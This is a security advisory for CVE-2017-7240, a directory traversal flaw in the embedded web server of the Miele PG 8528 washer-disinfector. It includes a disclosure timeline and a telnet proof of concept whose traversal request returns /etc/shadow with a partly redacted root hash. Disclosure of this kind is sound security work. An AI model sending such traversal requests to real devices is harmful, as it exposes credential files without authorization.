Miele Professional PG 8528 - Directory Traversal

Title:

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Miele Professional PG 8528 - Web Server Directory Traversal



Author:

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Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG



CVE-ID:

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CVE-2017-7240



Risk Information:

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Risk Factor: Medium

CVSS Base Score: 5.0

CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C

CVSS Temporal Score: 3.9



Timeline:

=========

2016-11-16 Vulnerability discovered

2016-11-10 Asked for security contact

2016-11-21 Contact with Miele product representative

2016-12-03 Send details to the Miele product representative

2017-01-19 Asked for update, no response

2017-02-03 Asked for update, no response

2017-03-23 Public disclosure



Status:

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Published



Affected Products:

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Miele Professional PG 8528 (washer-disinfector) with ethernet interface.



Vendor Homepage:

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https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528



Details:

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The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.



Proof of Concept:

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~$ telnet 192.168.0.1 80

Trying 192.168.0.1...

Connected to 192.168.0.1.

Escape character ist '^]'.

GET /../../../../../../../../../../../../etc/shadow HTTP/1.1



HTTP/1.1 200 OK

Date: Wed, 16 Nov 2016 11:58:50 GMT

Server: PST10 WebServer

Content-Type: application/octet-stream

Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT

Content-disposition: attachment; filename="./etc/shadow"

Accept-Ranges: bytes

Content-Length: 52



root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::



Fix:

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We are not aware of an actual fix.